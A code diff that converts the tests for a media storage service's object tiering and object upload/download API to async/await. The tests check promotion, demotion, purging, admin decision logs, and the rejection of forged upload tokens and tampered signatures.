- const purged = addObject(); await tiering.promote(purged.id, { reason: 'test' });
- model.softDelete(model.getObject(purged.id), { by: 'test' });
- db.run("UPDATE media_objects SET deleted_at = datetime('now', '-40 days') WHERE id = ?", [purged.id]);
- model.purgeExpired();
- assert.ok(fs.existsSync(purged.file) && r2Row(purged.id), 'the purge waits while the object still has an R2 copy');
- await tiering.demote(purged.id, { trigger: 'sweep', reason: 'the object is deleted' });
- model.purgeExpired();
- assert.ok(!fs.existsSync(purged.file) && !r2Row(purged.id), 'and purges once the R2 copy is gone');
- console.log('✅ demotion: idle (and settled) or not ready; refused under a hold or when the canonical copy does not check out; a failed delete keeps the row; the purge waits for it');
+ const purged = await addObject(); await tiering.promote(purged.id, { reason: 'test' });
+ await model.softDelete(await model.getObject(purged.id), { by: 'test' });
+ await db.run("UPDATE media_objects SET deleted_at = datetime('now', '-40 days') WHERE id = ?", [purged.id]);
+ await model.purgeExpired();
+ assert.ok(fs.existsSync(purged.file) && await r2Row(purged.id), 'the purge waits while the object still has an R2 copy');
+ await tiering.demote(purged.id, { trigger: 'sweep', reason: 'the object is deleted' });
+ await model.purgeExpired();
+ assert.ok(!fs.existsSync(purged.file) && !await r2Row(purged.id), 'and purges once the R2 copy is gone');
+ console.log('✅ demotion: idle (and settled) or not ready; refused under a hold or when the canonical copy does not check out; a failed delete keeps the row; the purge waits for it');
- // ── 9. The decision log: admin API, metric, operator views ──
- const gamesObj = addObject({ app: 'games' });
- await tiering.promote(gamesObj.id, { reason: 'games' });
- const cand = addObject(); setViews(cand.id, [[0, 800]]);
- let a = await call('/api/v1/live/admin/storage/tiers/objects/policy');
- assert.strictEqual(a.status, 200, JSON.stringify(a.body));
- assert.deepStrictEqual([a.body.gate.active, a.body.gate.source], [true, 'setting']);
- assert.deepStrictEqual(a.body.thresholds.promoteMinUniqueViewers7d, { value: 500, default: 500, source: 'default' });
- assert.ok(/promoteMinUniqueViewers7d \(500\)/.test(a.body.rules.promote) && /last good copy/.test(a.body.rules.demote));
- assert.deepStrictEqual(a.body.candidates.map((c) => [c.object_id, c.unique_viewers_7d, c.blocked_by]), [[cand.id, 800, null]]);
- assert.strictEqual(a.body.provider.r2.configured, true);
- const c24 = a.body.decisions.last_24h;
- assert.ok(c24.promote.dry_run >= 3 && c24.promote.done >= 10 && c24.promote.refused >= 4 && c24.promote.failed >= 2 && c24.promote.already === 1, JSON.stringify(c24));
- assert.ok(c24.demote.done >= 4 && c24.demote.refused >= 3 && c24.demote.failed === 1 && c24.demote.dry_run === 1, JSON.stringify(c24));
- assert.ok(a.body.decisions.recent.every((x) => x.app_id === 'live') && a.body.decisions.recent[0].inputs && a.body.decisions.recent[0].thresholds);
- a = await call('/api/v1/live/admin/storage/tiers/objects/decisions?outcome=dry_run&limit=2');
- assert.deepStrictEqual([a.body.decisions.length, a.body.decisions.every((x) => x.outcome === 'dry_run'), a.body.next_before_id != null], [2, true, true]);
- a = await call(`/api/v1/live/admin/storage/tiers/objects/decisions?object_id=${bad.id}`);
- assert.deepStrictEqual(a.body.decisions.map((x) => x.outcome), ['failed']);
- assert.strictEqual((await call('/api/v1/live/admin/storage/tiers/objects/decisions?action=move')).status, 400);
- assert.strictEqual((await call('/api/v1/live/admin/storage/tiers/objects/decisions?outcome=nope')).status, 400);
- a = await call('/api/v1/games/admin/storage/tiers/objects/decisions', 'games-key-objtier');
- assert.deepStrictEqual(a.body.decisions.map((x) => x.object_id), [gamesObj.id], 'each app sees its own');
- assert.ok((await call('/api/v1/live/admin/storage/tiers/objects/policy', 'wrong-key')).status >= 401);
- a = await call('/api/v1/live/admin/storage/config');
- const ns = a.body.namespaces.find((n) => n.namespace === 'media.object_tier');
- assert.ok(ns && ns.values.active === true && ns.values.promoteMinUniqueViewers7d === 500, 'the policy is in the config routes');
- a = await call('/api/v1/live/admin/storage/config/media.object_tier/history');
- assert.deepStrictEqual(a.body.snapshots.map((x) => x.state), ['active', 'superseded', 'superseded', 'superseded']);
- const post = (p, body) => new Promise((resolve, reject) => {
- const data = JSON.stringify(body);
- const rq = http.request(base + p, { method: 'POST', headers: { Authorization: 'Bearer live-key-objtier', 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } },
- (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });
- rq.on('error', reject);
- rq.end(data);
- });
- a = await post('/api/v1/live/admin/storage/config/media.object_tier', { values: { active: false }, merge: true, reason: 'gate off through the route' });
- assert.strictEqual(a.status, 200, JSON.stringify(a.body));
- assert.strictEqual(policy.settings().active, false);
- a = await post('/api/v1/live/admin/storage/config/media.object_tier', { values: { active: true }, merge: true, reason: 'and on again' });
- assert.deepStrictEqual([a.status, policy.settings().active, policy.thresholds().active.source], [200, true, 'setting']);
- a = await post('/api/v1/live/admin/storage/config/media.object_tier', { values: { demoteIdleDays: 2 }, merge: true, reason: 'flapping' });
- assert.deepStrictEqual([a.status, policy.settings().demoteIdleDays], [422, 14], 'the route refuses what the rules refuse');
+ // ── 9. The decision log: admin API, metric, operator views ──
+ const gamesObj = await addObject({ app: 'games' });
+ await tiering.promote(gamesObj.id, { reason: 'games' });
+ const cand = await addObject(); await setViews(cand.id, [[0, 800]]);
+ let a = await call('/api/v1/live/admin/storage/tiers/objects/policy');
+ assert.strictEqual(a.status, 200, JSON.stringify(a.body));
+ assert.deepStrictEqual([a.body.gate.active, a.body.gate.source], [true, 'setting']);
+ assert.deepStrictEqual(a.body.thresholds.promoteMinUniqueViewers7d, { value: 500, default: 500, source: 'default' });
+ assert.ok(/promoteMinUniqueViewers7d \(500\)/.test(a.body.rules.promote) && /last good copy/.test(a.body.rules.demote));
+ assert.deepStrictEqual(a.body.candidates.map((c) => [c.object_id, c.unique_viewers_7d, c.blocked_by]), [[cand.id, 800, null]]);
+ assert.strictEqual(a.body.provider.r2.configured, true);
+ const c24 = a.body.decisions.last_24h;
+ assert.ok(c24.promote.dry_run >= 3 && c24.promote.done >= 10 && c24.promote.refused >= 4 && c24.promote.failed >= 2 && c24.promote.already === 1, JSON.stringify(c24));
+ assert.ok(c24.demote.done >= 4 && c24.demote.refused >= 3 && c24.demote.failed === 1 && c24.demote.dry_run === 1, JSON.stringify(c24));
+ assert.ok(a.body.decisions.recent.every((x) => x.app_id === 'live') && a.body.decisions.recent[0].inputs && a.body.decisions.recent[0].thresholds);
+ a = await call('/api/v1/live/admin/storage/tiers/objects/decisions?outcome=dry_run&limit=2');
+ assert.deepStrictEqual([a.body.decisions.length, a.body.decisions.every((x) => x.outcome === 'dry_run'), a.body.next_before_id != null], [2, true, true]);
+ a = await call(`/api/v1/live/admin/storage/tiers/objects/decisions?object_id=${bad.id}`);
+ assert.deepStrictEqual(a.body.decisions.map((x) => x.outcome), ['failed']);
+ assert.strictEqual((await call('/api/v1/live/admin/storage/tiers/objects/decisions?action=move')).status, 400);
+ assert.strictEqual((await call('/api/v1/live/admin/storage/tiers/objects/decisions?outcome=nope')).status, 400);
+ a = await call('/api/v1/games/admin/storage/tiers/objects/decisions', 'games-key-objtier');
+ assert.deepStrictEqual(a.body.decisions.map((x) => x.object_id), [gamesObj.id], 'each app sees its own');
+ assert.ok((await call('/api/v1/live/admin/storage/tiers/objects/policy', 'wrong-key')).status >= 401);
+ a = await call('/api/v1/live/admin/storage/config');
+ const ns = a.body.namespaces.find((n) => n.namespace === 'media.object_tier');
+ assert.ok(ns && ns.values.active === true && ns.values.promoteMinUniqueViewers7d === 500, 'the policy is in the config routes');
+ a = await call('/api/v1/live/admin/storage/config/media.object_tier/history');
+ assert.deepStrictEqual(a.body.snapshots.map((x) => x.state), ['active', 'superseded', 'superseded', 'superseded']);
+ const post = (p, body) => new Promise((resolve, reject) => {
+ const data = JSON.stringify(body);
+ const rq = http.request(base + p, { method: 'POST', headers: { Authorization: 'Bearer live-key-objtier', 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } },
+ (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });
+ rq.on('error', reject);
+ rq.end(data);
+ });
+ a = await post('/api/v1/live/admin/storage/config/media.object_tier', { values: { active: false }, merge: true, reason: 'gate off through the route' });
+ assert.strictEqual(a.status, 200, JSON.stringify(a.body));
+ assert.strictEqual(policy.settings().active, false);
+ a = await post('/api/v1/live/admin/storage/config/media.object_tier', { values: { active: true }, merge: true, reason: 'and on again' });
+ assert.deepStrictEqual([a.status, policy.settings().active, policy.thresholds().active.source], [200, true, 'setting']);
+ a = await post('/api/v1/live/admin/storage/config/media.object_tier', { values: { demoteIdleDays: 2 }, merge: true, reason: 'flapping' });
+ assert.deepStrictEqual([a.status, policy.settings().demoteIdleDays], [422, 14], 'the route refuses what the rules refuse');
- db.run("INSERT INTO media_tier_decisions (vod_id, app_id, action, outcome, trigger, reason) VALUES (1, 'live', 'promote', 'done', 'admin', 'test')");
- const registry = require('openvibe-shared/metrics').createRegistry();
- require('../server/observability').domainMetrics(registry, { db, recorder: { activeCount: () => 0 }, events: { status: () => ({ enabled: false }) } });
- const text = registry.metrics();
- const all24 = tiering.counts24h();
- assert.ok(text.includes(`media_tier_decisions_24h{target="object",action="promote",outcome="done"} ${all24.promote.done}`), text);
- assert.ok(text.includes(`media_tier_decisions_24h{target="object",action="promote",outcome="dry_run"} ${all24.promote.dry_run}`));
- assert.ok(text.includes('media_tier_decisions_24h{target="vod",action="promote",outcome="done"} 1'));
+ await db.run("INSERT INTO media_tier_decisions (vod_id, app_id, action, outcome, trigger, reason) VALUES (1, 'live', 'promote', 'done', 'admin', 'test') RETURNING id");
+ const registry = require('openvibe-shared/metrics').createRegistry();
+ require('../server/observability').domainMetrics(registry, { db, recorder: { activeCount: () => 0 }, events: { status: () => ({ enabled: false }) } });
+ const text = await registry.metricsAsync();
+ const all24 = await tiering.counts24h();
+ assert.ok(text.includes(`media_tier_decisions_24h{target="object",action="promote",outcome="done"} ${all24.promote.done}`), text);
+ assert.ok(text.includes(`media_tier_decisions_24h{target="object",action="promote",outcome="dry_run"} ${all24.promote.dry_run}`));
+ assert.ok(text.includes('media_tier_decisions_24h{target="vod",action="promote",outcome="done"} 1'));
- const report = require('../server/me/ops').report({ appId: 'live' });
- const no = report.tiering.native_objects;
- const liveR2 = db.get("SELECT COUNT(*) AS n FROM media_locations l JOIN media_objects o ON o.id = l.object_id WHERE l.provider = 'r2' AND l.state = 'present' AND o.app_id = 'live'").n;
- assert.deepStrictEqual([no.gate.active, no.r2_copies.count, no.eligible_to_promote, no.decisions_24h.promote.done], [true, liveR2, 1, c24.promote.done]);
- assert.ok(no.recent.length && no.sweep.last_result && no.sweep.last_run_at);
- assert.ok(!/until roadmap WS-G task 11/.test(report.tiering.note));
- const html = require('../server/me/pages').renderOps({ person: { subject: 'usr_01J8Z3Q4X5Y6Z7A8B9C0D1E2F3' }, report, canRecompute: false });
- assert.ok(/Native objects/.test(html) && /Activation gate/.test(html) && html.includes(bad.id), 'the /me/ops page shows the gate and the recent decisions');
- console.log('✅ decisions: /tiers/objects/policy and /decisions (filters, pages, app-scoped), the config routes, media_tier_decisions_24h{target}, and the operator views');
+ const report = await require('../server/me/ops').report({ appId: 'live' });
+ const no = report.tiering.native_objects;
+ const liveR2 = (await db.get("SELECT COUNT(*) AS n FROM media_locations l JOIN media_objects o ON o.id = l.object_id WHERE l.provider = 'r2' AND l.state = 'present' AND o.app_id = 'live'")).n;
+ assert.deepStrictEqual([no.gate.active, no.r2_copies.count, no.eligible_to_promote, no.decisions_24h.promote.done], [true, liveR2, 1, c24.promote.done]);
+ assert.ok(no.recent.length && no.sweep.last_result && no.sweep.last_run_at);
+ assert.ok(!/until roadmap WS-G task 11/.test(report.tiering.note));
+ const html = require('../server/me/pages').renderOps({ person: { subject: 'usr_01J8Z3Q4X5Y6Z7A8B9C0D1E2F3' }, report, canRecompute: false });
+ assert.ok(/Native objects/.test(html) && /Activation gate/.test(html) && html.includes(bad.id), 'the /me/ops page shows the gate and the recent decisions');
+ console.log('✅ decisions: /tiers/objects/policy and /decisions (filters, pages, app-scoped), the config routes, media_tier_decisions_24h{target}, and the operator views');
- // ── 10. The storage sweep runs it (step 4); a restore drill never does ──
- const vodSweep = await storage.runSweep();
- assert.ok(vodSweep.objects && vodSweep.objects.gate === true && typeof vodSweep.objects.promoted === 'number', JSON.stringify(vodSweep));
- assert.strictEqual(r2Row(cand.id) && r2Row(cand.id).state, 'present', 'the storage sweep promoted the candidate');
- // The storage engine's upload is exported (the scheduled verification's default re-upload calls it too).
- assert.deepStrictEqual(['uploadFile', 'copyBetweenProviders', 'sha256Object', 'providerAvailable'].map((f) => typeof storage[f]), ['function', 'function', 'function', 'function']);
- const drill = require('../server/drill');
- drill.enabled = true;
- assert.deepStrictEqual(await tiering.runSweep(), { skipped: true, reason: 'restore drill (MEDIA_DRILL)' });
- drill.enabled = false;
- console.log('✅ the storage sweep runs the object tiering as its step 4; under MEDIA_DRILL it does nothing');
+ // ── 10. The storage sweep runs it (step 4); a restore drill never does ──
+ const vodSweep = await storage.runSweep();
+ assert.ok(vodSweep.objects && vodSweep.objects.gate === true && typeof vodSweep.objects.promoted === 'number', JSON.stringify(vodSweep));
+ assert.strictEqual(await r2Row(cand.id) && (await r2Row(cand.id)).state, 'present', 'the storage sweep promoted the candidate');
+ // The storage engine's upload is exported (the scheduled verification's default re-upload calls it too).
+ assert.deepStrictEqual(['uploadFile', 'copyBetweenProviders', 'sha256Object', 'providerAvailable'].map((f) => typeof storage[f]), ['function', 'function', 'function', 'function']);
+ const drill = require('../server/drill');
+ drill.enabled = true;
+ assert.deepStrictEqual(await tiering.runSweep(), { skipped: true, reason: 'restore drill (MEDIA_DRILL)' });
+ drill.enabled = false;
+ console.log('✅ the storage sweep runs the object tiering as its step 4; under MEDIA_DRILL it does nothing');
- server.close();
- s3.close();
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('\n✅ All object tiering tests passed');
- process.exit(0);
+ server.close();
+ s3.close();
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('\n✅ All object tiering tests passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -10,261 +10,263 @@ const path = require('path');
@@ -10,261 +10,263 @@ const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objapi-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.FILES_PATH = dir('files');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.OV_NETWORK_URL = 'https://openvibe.network';
-process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
-process.env.MEDIA_OBJECT_MAX_MB = '1';
-process.env.MEDIA_PUBLIC_OBJECT_MAX_MB = '0'; // every public playback object violates here
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objapi-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.FILES_PATH = dir('files');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.OV_NETWORK_URL = 'https://openvibe.network';
+ process.env.MEDIA_PUBLIC_URL = 'https://media.test';
+ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
+ process.env.MEDIA_OBJECT_MAX_MB = '1';
+ process.env.MEDIA_PUBLIC_OBJECT_MAX_MB = '0'; // every public playback object violates here
-const db = require('../server/db/database');
-const auth = require('../server/auth');
-const model = require('../server/objects/model');
-const objectRoutes = require('../server/objects/routes');
-const { serviceAuth } = require('openvibe-contracts');
-const express = require('express');
+ const db = require('../server/db/database');
+ const auth = require('../server/auth');
+ const model = require('../server/objects/model');
+ const objectRoutes = require('../server/objects/routes');
+ const { serviceAuth } = require('openvibe-contracts');
+ const express = require('express');
-const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
-auth._setNetworkPublicKeyForTests(keys.publicKey);
-db.upsertApp({ app_id: 'live', api_key: 'live-key' });
-db.upsertApp({ app_id: 'games', api_key: 'games-key' });
-db.upsertApp({ app_id: 'tiny', api_key: 'tiny-key', quota_bytes: 20 });
-const now = Math.floor(Date.now() / 1000);
-const tok = (over = {}) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:example', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read'], ns: ['live'], iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over }, keys.privateKey);
-const SUBJECT = 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ';
+ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
+ auth._setNetworkPublicKeyForTests(keys.publicKey);
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });
+ await db.upsertApp({ app_id: 'tiny', api_key: 'tiny-key', quota_bytes: 20 });
+ const now = Math.floor(Date.now() / 1000);
+ const tok = (over = {}) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:example', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read'], ns: ['live'], iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over }, keys.privateKey);
+ const SUBJECT = 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ';
-// Same mount order as server/index.js.
-const app = express();
-app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);
-app.use(express.json());
-app.use('/api/v1/:app/files', require('../server/files/routes'));
-app.use('/api/v1/:app/vods', require('../server/vod/routes'));
-app.use('/api/v2/:app/objects', objectRoutes);
-app.use('/o', objectRoutes.publicRouter);
-const server = http.createServer(app);
-const sha = (b) => crypto.createHash('sha256').update(b).digest('hex');
+ // Same mount order as server/index.js.
+ const app = express();
+ app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);
+ app.use(express.json());
+ app.use('/api/v1/:app/files', require('../server/files/routes'));
+ app.use('/api/v1/:app/vods', require('../server/vod/routes'));
+ app.use('/api/v2/:app/objects', objectRoutes);
+ app.use('/o', objectRoutes.publicRouter);
+ const server = http.createServer(app);
+ const sha = (b) => crypto.createHash('sha256').update(b).digest('hex');
-(async () => {
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${server.address().port}`;
- const local = (u) => base + String(u).replace('https://media.test', '');
- const call = async (method, p, { bearer = 'live-key', body, headers = {}, raw } = {}) => {
- const h = { ...headers };
- if (bearer) h.authorization = `Bearer ${bearer}`;
- let payload;
- if (raw !== undefined) payload = raw;
- else if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }
- const res = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body: payload, redirect: 'manual' });
- const text = await res.text();
- let json = null; try { json = JSON.parse(text); } catch { /* not json */ }
- return { status: res.status, body: json, text, headers: res.headers };
- };
- const O = '/api/v2/live/objects';
+ (async () => {
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const local = (u) => base + String(u).replace('https://media.test', '');
+ const call = async (method, p, { bearer = 'live-key', body, headers = {}, raw } = {}) => {
+ const h = { ...headers };
+ if (bearer) h.authorization = `Bearer ${bearer}`;
+ let payload;
+ if (raw !== undefined) payload = raw;
+ else if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }
+ const res = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body: payload, redirect: 'manual' });
+ const text = await res.text();
+ let json = null; try { json = JSON.parse(text); } catch { /* not json */ }
+ return { status: res.status, body: json, text, headers: res.headers };
+ };
+ const O = '/api/v2/live/objects';
- // ── Init → PUT (upload token, no other credential) → complete ──
- const hello = Buffer.from('hello world');
- let r = await call('POST', O, { body: { kind: 'file', mime_type: 'text/plain', size_bytes: hello.length, filename: '../hello.txt', visibility: 'private', content_hash: sha(hello) } });
- assert.strictEqual(r.status, 201, JSON.stringify(r.body));
- const id = r.body.id;
- assert.ok(/^med_[0-9A-HJKMNP-TV-Z]{26}$/.test(id));
- assert.deepStrictEqual([r.body.object.lifecycle_status, r.body.object.metadata.filename, r.body.upload.method, r.body.upload.max_bytes], ['uploading', 'hello.txt', 'PUT', 11]);
- const putUrl = local(r.body.upload.url);
- r = await call('PUT', putUrl, { bearer: null, raw: Buffer.from('hello') });
- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.object.size_mismatch']);
- r = await call('PUT', putUrl.replace(/token=[^&]+/, 'token=1.forged'), { bearer: null, raw: hello });
- assert.deepStrictEqual([r.status, r.body.code], [401, 'media.upload_token.invalid']);
- r = await call('PUT', putUrl, { bearer: null, raw: hello, headers: { 'content-type': 'application/json' } });
- assert.strictEqual(r.status, 200, JSON.stringify(r.body));
- assert.deepStrictEqual([r.body.size_bytes, r.body.content_hash], [11, sha(hello)]);
- const stored = model.objectFilePath(model.getObject(id));
- assert.strictEqual(fs.readFileSync(stored, 'utf8'), 'hello world', 'bytes stored under OBJECTS_PATH/<app>/<id>');
- r = await call('POST', `${O}/${id}/complete`);
- assert.strictEqual(r.status, 200, JSON.stringify(r.body));
- assert.deepStrictEqual([r.body.lifecycle_status, r.body.mime_type, r.body.content_hash, r.body.public_url], ['ready', 'text/plain', sha(hello), null]);
- r = await call('GET', `${O}/${id}`);
- assert.strictEqual(r.status, 200);
- assert.deepStrictEqual(r.body.locations, [{ provider: 'local', storage_class: 'hot', state: 'present', size_bytes: 11, verified_at: r.body.locations[0].verified_at, canonical: true }]);
- assert.ok(!r.text.includes(tmp), 'no server paths in responses');
- console.log('✅ init → PUT (upload token) → complete; size + sha256 checked');
+ // ── Init → PUT (upload token, no other credential) → complete ──
+ const hello = Buffer.from('hello world');
+ let r = await call('POST', O, { body: { kind: 'file', mime_type: 'text/plain', size_bytes: hello.length, filename: '../hello.txt', visibility: 'private', content_hash: sha(hello) } });
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ const id = r.body.id;
+ assert.ok(/^med_[0-9A-HJKMNP-TV-Z]{26}$/.test(id));
+ assert.deepStrictEqual([r.body.object.lifecycle_status, r.body.object.metadata.filename, r.body.upload.method, r.body.upload.max_bytes], ['uploading', 'hello.txt', 'PUT', 11]);
+ const putUrl = local(r.body.upload.url);
+ r = await call('PUT', putUrl, { bearer: null, raw: Buffer.from('hello') });
+ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.object.size_mismatch']);
+ r = await call('PUT', putUrl.replace(/token=[^&]+/, 'token=1.forged'), { bearer: null, raw: hello });
+ assert.deepStrictEqual([r.status, r.body.code], [401, 'media.upload_token.invalid']);
+ r = await call('PUT', putUrl, { bearer: null, raw: hello, headers: { 'content-type': 'application/json' } });
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ assert.deepStrictEqual([r.body.size_bytes, r.body.content_hash], [11, sha(hello)]);
+ const stored = model.objectFilePath(await model.getObject(id));
+ assert.strictEqual(fs.readFileSync(stored, 'utf8'), 'hello world', 'bytes stored under OBJECTS_PATH/<app>/<id>');
+ r = await call('POST', `${O}/${id}/complete`);
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ assert.deepStrictEqual([r.body.lifecycle_status, r.body.mime_type, r.body.content_hash, r.body.public_url], ['ready', 'text/plain', sha(hello), null]);
+ r = await call('GET', `${O}/${id}`);
+ assert.strictEqual(r.status, 200);
+ assert.deepStrictEqual(r.body.locations, [{ provider: 'local', storage_class: 'hot', state: 'present', size_bytes: 11, verified_at: r.body.locations[0].verified_at, canonical: true }]);
+ assert.ok(!r.text.includes(tmp), 'no server paths in responses');
+ console.log('✅ init → PUT (upload token) → complete; size + sha256 checked');
- // ── Private download: signed, short-lived ──
- r = await call('GET', `/o/${id}`, { bearer: null });
- assert.strictEqual(r.status, 404, 'a private object is not reachable without a signature');
- r = await call('GET', `${O}/${id}/download`);
- assert.strictEqual(r.status, 200);
- assert.strictEqual(r.body.public, false);
- assert.ok(Date.parse(r.body.expires_at) > Date.now());
- const signed = r.body.url;
- r = await call('GET', local(signed), { bearer: null });
- assert.deepStrictEqual([r.status, r.text, r.headers.get('content-type'), r.headers.get('x-content-type-options'), r.headers.get('cache-control')], [200, 'hello world', 'text/plain', 'nosniff', 'private, no-store']);
- assert.strictEqual(r.headers.get('content-disposition'), 'inline; filename="hello.txt"');
- r = await call('GET', local(signed).replace(/sig=[^&]+/, 'sig=AAAA'), { bearer: null });
- assert.strictEqual(r.status, 404, 'tampered signature');
- const past = now - 10;
- const oldSig = crypto.createHmac('sha256', 'test-signing-secret').update(`get\n${id}\n${past}`).digest('base64url');
- r = await call('GET', `/o/${id}?exp=${past}&sig=${oldSig}`, { bearer: null });
- assert.strictEqual(r.status, 404, 'expired signature');
- const putSig = crypto.createHmac('sha256', 'test-signing-secret').update(`put\n${id}\n${now + 100}`).digest('base64url');
- r = await call('GET', `/o/${id}?exp=${now + 100}&sig=${putSig}`, { bearer: null });
- assert.strictEqual(r.status, 404, 'an upload signature is not a download signature');
- r = await call('GET', `${O}/${id}/download?redirect=1`);
- assert.strictEqual(r.status, 302);
- console.log('✅ private objects: signed short-lived URLs only');
+ // ── Private download: signed, short-lived ──
+ r = await call('GET', `/o/${id}`, { bearer: null });
+ assert.strictEqual(r.status, 404, 'a private object is not reachable without a signature');
+ r = await call('GET', `${O}/${id}/download`);
+ assert.strictEqual(r.status, 200);
+ assert.strictEqual(r.body.public, false);
+ assert.ok(Date.parse(r.body.expires_at) > Date.now());
+ const signed = r.body.url;
+ r = await call('GET', local(signed), { bearer: null });
+ assert.deepStrictEqual([r.status, r.text, r.headers.get('content-type'), r.headers.get('x-content-type-options'), r.headers.get('cache-control')], [200, 'hello world', 'text/plain', 'nosniff', 'private, no-store']);
+ assert.strictEqual(r.headers.get('content-disposition'), 'inline; filename="hello.txt"');
+ r = await call('GET', local(signed).replace(/sig=[^&]+/, 'sig=AAAA'), { bearer: null });
+ assert.strictEqual(r.status, 404, 'tampered signature');
+ const past = now - 10;
+ const oldSig = crypto.createHmac('sha256', 'test-signing-secret').update(`get\n${id}\n${past}`).digest('base64url');
+ r = await call('GET', `/o/${id}?exp=${past}&sig=${oldSig}`, { bearer: null });
+ assert.strictEqual(r.status, 404, 'expired signature');
+ const putSig = crypto.createHmac('sha256', 'test-signing-secret').update(`put\n${id}\n${now + 100}`).digest('base64url');
+ r = await call('GET', `/o/${id}?exp=${now + 100}&sig=${putSig}`, { bearer: null });
+ assert.strictEqual(r.status, 404, 'an upload signature is not a download signature');
+ r = await call('GET', `${O}/${id}/download?redirect=1`);
+ assert.strictEqual(r.status, 302);
+ console.log('✅ private objects: signed short-lived URLs only');
- // ── Public object: app-key PUT, 302 to /o, Range ──
- const png = Buffer.concat([Buffer.from('\x89PNG\r\n\x1a\n', 'binary'), crypto.randomBytes(100)]);
- r = await call('POST', O, { body: { kind: 'screenshot', visibility: 'public' } });
- const pubId = r.body.id;
- r = await call('PUT', `${O}/${pubId}/content`, { raw: png, headers: { 'content-type': 'image/png' } });
- assert.strictEqual(r.status, 200, JSON.stringify(r.body));
- r = await call('POST', `${O}/${pubId}/complete`);
- assert.deepStrictEqual([r.body.mime_type, r.body.public_url], ['image/png', `https://media.test/o/${pubId}`]);
- r = await call('GET', `${O}/${pubId}/download`);
- assert.deepStrictEqual([r.status, r.headers.get('location')], [302, `https://media.test/o/${pubId}`]);
- r = await call('GET', `/o/${pubId}`, { bearer: null, headers: { range: 'bytes=0-7' } });
- assert.deepStrictEqual([r.status, r.headers.get('content-range'), r.headers.get('content-type')], [206, `bytes 0-7/${png.length}`, 'image/png']);
- console.log('✅ public objects: 302 to the public location, ranged bytes at /o/:id');
+ // ── Public object: app-key PUT, 302 to /o, Range ──
+ const png = Buffer.concat([Buffer.from('\x89PNG\r\n\x1a\n', 'binary'), crypto.randomBytes(100)]);
+ r = await call('POST', O, { body: { kind: 'screenshot', visibility: 'public' } });
+ const pubId = r.body.id;
+ r = await call('PUT', `${O}/${pubId}/content`, { raw: png, headers: { 'content-type': 'image/png' } });
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ r = await call('POST', `${O}/${pubId}/complete`);
+ assert.deepStrictEqual([r.body.mime_type, r.body.public_url], ['image/png', `https://media.test/o/${pubId}`]);
+ r = await call('GET', `${O}/${pubId}/download`);
+ assert.deepStrictEqual([r.status, r.headers.get('location')], [302, `https://media.test/o/${pubId}`]);
+ r = await call('GET', `/o/${pubId}`, { bearer: null, headers: { range: 'bytes=0-7' } });
+ assert.deepStrictEqual([r.status, r.headers.get('content-range'), r.headers.get('content-type')], [206, `bytes 0-7/${png.length}`, 'image/png']);
+ console.log('✅ public objects: 302 to the public location, ranged bytes at /o/:id');
- // ── Service tokens ──
